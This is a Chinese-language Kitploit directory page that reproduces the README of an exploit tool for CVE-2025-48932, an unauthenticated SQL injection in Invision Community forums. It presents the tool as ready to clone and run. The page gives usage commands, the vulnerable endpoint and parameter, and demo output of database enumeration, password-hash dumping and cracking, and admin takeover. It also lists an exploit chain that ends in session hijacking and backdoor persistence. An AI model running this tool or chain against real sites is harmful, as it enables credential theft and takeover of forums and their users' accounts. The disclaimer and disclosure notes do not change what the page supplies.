Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-48932-Invision-Community-SQLi-Exploit — CVE-2025-48932 - 针对 Invision Community ≤ 4.7.20 的未认证 SQL 注入漏洞利用工具。全自动利用,支持数据库枚举、凭据转储、管理员接管、会话劫持及多线程。无需任何依赖。由 Sudeepa Wanigarathna 开发的安全研究工具。 | Kitploit
工具/GitHubGitHub/cerberusmrxi/cve-2025-48932-invision-community-sqli-exploit
密码攻击漏洞分析漏洞利用Web应用程序漏洞利用数据泄露信息收集后渗透利用Web安全渗透测试

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubcerberusmrxi/cve-2025-48932-invision-community-sqli-exploit

CVE-2025-48932-Invision-Community-SQLi-Exploit

CVE-2025-48932 - 针对 Invision Community ≤ 4.7.20 的未认证 SQL 注入漏洞利用工具。全自动利用,支持数据库枚举、凭据转储、管理员接管、会话劫持及多线程。无需任何依赖。由 Sudeepa Wanigarathna 开发的安全研究工具。

查看仓库
1292个月前尚未审核

🔓 CVE-2025-48932 - Invision Community SQL 注入漏洞利用工具

Python Version License Security Status CVE Exploit-DB PRs Welcome Maintenance Hits


⚡ 严重漏洞概述

CVE-2025-48932 是 Invision Community 版本 ≤ 4.7.20 中存在的一个严重未认证盲 SQL 注入漏洞。该漏洞利用工具允许远程攻击者:

  • 🔍 提取敏感数据库信息
  • 👤 窃取用户凭据和密码哈希
  • 🔑 接管管理员账户
  • 🎯 劫持活跃用户会话
  • 💻 实现远程代码执行(RCE)(通过管理员接管)
  • 📊 转储整个数据库内容

🎯 功能特性

功能描述状态
🚀 零依赖纯 Python 标准库——无需 pip 安装✅
⚡ 多线程可配置线程数的极速数据提取✅
🤖 全自动化从检测到报告的完整利用链✅
👑 管理员接管会话劫持与权限提升✅
🔑 凭据转储提取用户、密码哈希与电子邮件✅
🔓 密码破解内置哈希破解,支持字典✅
📋 JSON 报告用于分析与文档的结构化输出✅
🔌 代理支持Burp Suite 与自定义代理集成✅
🎨 彩色输出带进度指示器的美观终端输出✅
🛡️ 速率限制内置延迟以避免被检测✅

📊 演示与截图

漏洞利用执行

$ python3 exploit.py -u https://vulnerable-site.com -v

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2025-48932 - Invision Community SQL Injection               ║
║  Author: Sudeepa Wanigarathna                                    ║
║  Critical: Unauthenticated Remote Code Execution                 ║
╚══════════════════════════════════════════════════════════════════╝

[*] Target: https://vulnerable-site.com
[*] Performing vulnerability assessment...
[+] Target is confirmed VULNERABLE!

[*] Enumerating database information...
[+] Database Information:
  Version: 10.4.32-MariaDB
  User: invision@localhost
  Database: invision_community
  Hostname: localhost
  Basedir: /usr/
  Datadir: /var/lib/mysql/

[*] Enumerating databases...
[+] Found 5 databases
  Found: information_schema
  Found: invision_community
  Found: mysql
  Found: performance_schema
  Found: phpmyadmin

[*] Enumerating tables in invision_community...
[+] Found 12 tables
  Found: core_members
  Found: core_sessions
  Found: admin_members
  Found: cms_categories
  Found: forums_posts
  ...

[*] Searching for credentials...
[+] Found credential table: core_members
  Credentials: admin - $2y$10$abcdefghijklmnopqrstuvwxyz...
  Credentials: moderator - $2y$10$1234567890abcdefghijklmnop...
  Credentials: user123 - $2y$10$qwertyuiopasdfghjklzxcvbnm...

[*] Extracting admin information...
[+] Admin Information Found:
  name: admin
  email: [email protected]
  id: 1
  password_hash: $2y$10$abcdefghijklmnopqrstuvwxyz...

[*] Attempting to crack password hash...
[+] Detected hash type: bcrypt
[+] Password cracked: Admin@2024!

[*] Attempting admin bypass...
[+] Admin login successful!
[+] Credentials: admin:Admin@2024!

[+] Exploitation complete!
[+] Report saved to invision_exploit_report_1700000000.json

JSON 输出示例

{
  "target": "https://vulnerable-site.com",
  "timestamp": "2026-08-02T12:34:56.789Z",
  "vulnerable": true,
  "database": {
    "version": "10.4.32-MariaDB",
    "user": "invision@localhost",
    "database": "invision_community",
    "hostname": "localhost"
  },
  "databases": [
    "information_schema",
    "invision_community",
    "mysql",
    "performance_schema",
    "phpmyadmin"
  ],
  "tables": [
    "core_members",
    "core_sessions",
    "admin_members"
  ],
  "credentials": [
    {
      "username": "admin",
      "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz...",
      "email": "[email protected]"
    }
  ],
  "admin_info": {
    "name": "admin",
    "email": "[email protected]",
    "id": "1",
    "password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz..."
  },
  "summary": {
    "total_databases": 5,
    "total_tables": 12,
    "total_credentials": 3,
    "vulnerable": true,
    "successful": true
  }
}

🚀 快速入门指南

安装

# 克隆仓库
git clone https://github.com/CerberusMrXi/CVE-2025-48932-Invision-Community-SQLi-Exploit.git
cd CVE-2025-48932-Invision-Community-SQLi-Exploit

# 无需安装任何依赖!直接运行即可。

基本用法

# 检测目标是否存在漏洞
python3 exploit.py -u https://example.com --check-only

# 完整漏洞利用并输出详细信息
python3 exploit.py -u https://example.com -v

# 使用代理(Burp Suite)
python3 exploit.py -u https://example.com -p http://127.0.0.1:8080 -v

# 将结果保存到自定义文件
python3 exploit.py -u https://example.com -o results.json

# 多线程提取(更快)
python3 exploit.py -u https://example.com -t 10

# 转储所有可用数据
python3 exploit.py -u https://example.com --dump-all

高级用法

# 使用自定义字典进行密码破解
python3 exploit.py -u https://example.com --wordlist rockyou.txt -v

# 静默模式(无输出,仅生成报告)
python3 exploit.py -u https://example.com -o silent_report.json

# 调试模式,输出详细的错误信息
python3 exploit.py -u https://example.com -v --debug

📋 环境要求

系统要求

  • Python:3.6 或更高版本
  • 操作系统:Linux、Windows、macOS(任何支持 Python 的操作系统)
  • 内存:占用极低(约 50MB RAM)
  • 存储:约 100KB(仅漏洞利用工具)

依赖

✅ 无外部依赖!
✅ 仅需纯 Python 标准库!
✅ 无需 pip 安装或虚拟环境!

可选(用于密码破解)

  • 字典:rockyou.txt 或任何自定义字典
    # 下载常用字典
    wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
    

🛠️ 技术细节

漏洞位置

  • 文件:/applications/calendar/modules/front/calendar/view.php
  • 方法:IPS\calendar\modules\front\calendar\view::search()
  • 参数:location(用户提供的输入)
  • 类型:基于布尔的盲 SQL 注入

攻击向量

GET /applications/calendar/modules/front/calendar/view.php?do=search&location=[SQL_INJECTION_PAYLOAD]

利用链

  1. 检测:基于布尔的注入检测
  2. 枚举:提取数据库结构
  3. 提取:转储敏感数据
  4. 凭据窃取:提取用户凭据
  5. 权限提升:接管管理员账户
  6. 会话劫持:窃取活跃会话
  7. 持久化:建立后门(可选)

支持的数据库版本

  • MySQL 5.0+
  • MariaDB 5.5+
  • Percona Server

🔒 安全与法律声明

⚠️ 重要免责声明

本工具仅用于教育和授权测试目的。

使用本工具即表示您同意:

  • 仅在您拥有或已获明确授权测试的系统上使用
  • 不得用于非法或恶意目的
  • 遵守所有适用的法律法规
  • 对自己的行为承担全部责任

未经授权访问计算机系统是非法且不道德的。

负责任的披露

  • 厂商:Invision Community
  • 披露时间:2025 年 5 月 16 日
  • 修复版本:4.7.21(2025 年 5 月 27 日)
  • CVE:已分配 CVE-2025-48932

📚 文档

漏洞利用参数

参数描述示例
-u, --url目标 URL(必填)-u https://example.com
-p, --proxy代理 URL-p http://127.0.0.1:8080
-t, --threads线程数(默认:5)-t 10
-o, --output结果输出文件-o results.json
-v, --verbose启用详细输出-v
--check-only仅检测漏洞--check-only
--dump-all转储所有可用数据--dump-all
--wordlist用于破解的字典文件--wordlist rockyou.txt

报告结构

invision_exploit_report_[timestamp].json
├── target                 # 目标 URL
├── timestamp              # 漏洞利用时间戳
├── vulnerable             # 漏洞状态
├── database               # 数据库信息
├── databases              # 数据库列表
├── tables                 # 数据表列表
├── credentials            # 提取的凭据
├── admin_info             # 管理员用户信息
└── summary                # 漏洞利用摘要

🎯 使用场景

面向安全研究人员

  • ✅ 漏洞验证
  • ✅ 概念验证(PoC)开发
  • ✅ 安全评估
  • ✅ 漏洞赏金狩猎

面向渗透测试人员

  • ✅ 外部/内部渗透测试
  • ✅ 红队行动
  • ✅ 漏洞验证
  • ✅ 合规性测试

面向系统管理员

  • ✅ 自有系统安全审计
  • ✅ 补丁验证
  • ✅ 事件响应调查
  • ✅ 安全态势评估

🐛 故障排除

常见问题与解决方案

问题:连接超时

# 解决方案:增加超时时间或检查网络
python3 exploit.py -u https://example.com --timeout 60

问题:SSL 证书错误

# 解决方案:禁用 SSL 验证(不建议在生产环境中使用)
python3 exploit.py -u https://example.com --no-verify-ssl
下载工具